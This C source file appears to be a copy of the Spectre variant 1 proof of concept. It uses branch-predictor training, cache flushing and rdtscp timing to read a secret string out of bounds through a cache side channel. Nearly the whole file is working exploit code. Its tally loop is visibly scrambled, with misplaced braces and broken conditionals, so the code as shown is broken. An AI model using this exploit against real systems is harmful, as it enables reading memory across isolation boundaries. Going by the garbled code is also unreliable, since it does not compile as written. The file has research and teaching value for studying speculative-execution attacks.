spectre.c

 #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h>
#pragma optimize("gt",on)
#else
#include <x86intrin.h>
#endif
/* for rdtscp and clflush */
/* for rdtscp and clflush */
/******************************************************************** Victim code. ********************************************************************/ unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
char *secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}
/******************************************************************** Analysis code ********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i, junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {
    /* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ /* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));
      /* Call the victim! */
      victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
 for (i = 0; i < 256; i++) {
mix_i=((i*167)+13)&255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */ }
/* Locate highest & second-highest results results tallies in j/k */
  /* READ TIMER */
/* MEMORY ACCESS TO TIME */
/* READ TIMER & COMPUTE ELAPSED TIME */
    j =k=-1; for(i=0; if(j<0
i<256;i++){
|| results[i] >= results[j]) {
(k < 0 || results[i] >= results[k]) {
 k=j; j=i; else if k=i;
} }
 }
  if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/ value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
                                                      /* default for malicious_x */
    }
int main(int argc, const
                        char **argv) {
size_t malicious_x=(size_t)(secret-(char*)array1);
 int i, score[2], len=40;
uint8_t value[2];
  for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if(argc==3){
sscanf(argv[1], "%p", (void**)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */ sscanf(argv[2], "%d", &len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
  printf("Reading at malicious_x = %p... ", (void*)malicious_x);
  readMemoryByte(malicious_x++, value, score);
  printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
  printf("0x%02X=’%c’ score=%d    ", value[0],
          (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
  if (score[1] > 0)
    printf("(second best: 0x%02X score=%d)", value[1], score[1]);
  printf("\n");
         }
return (0); }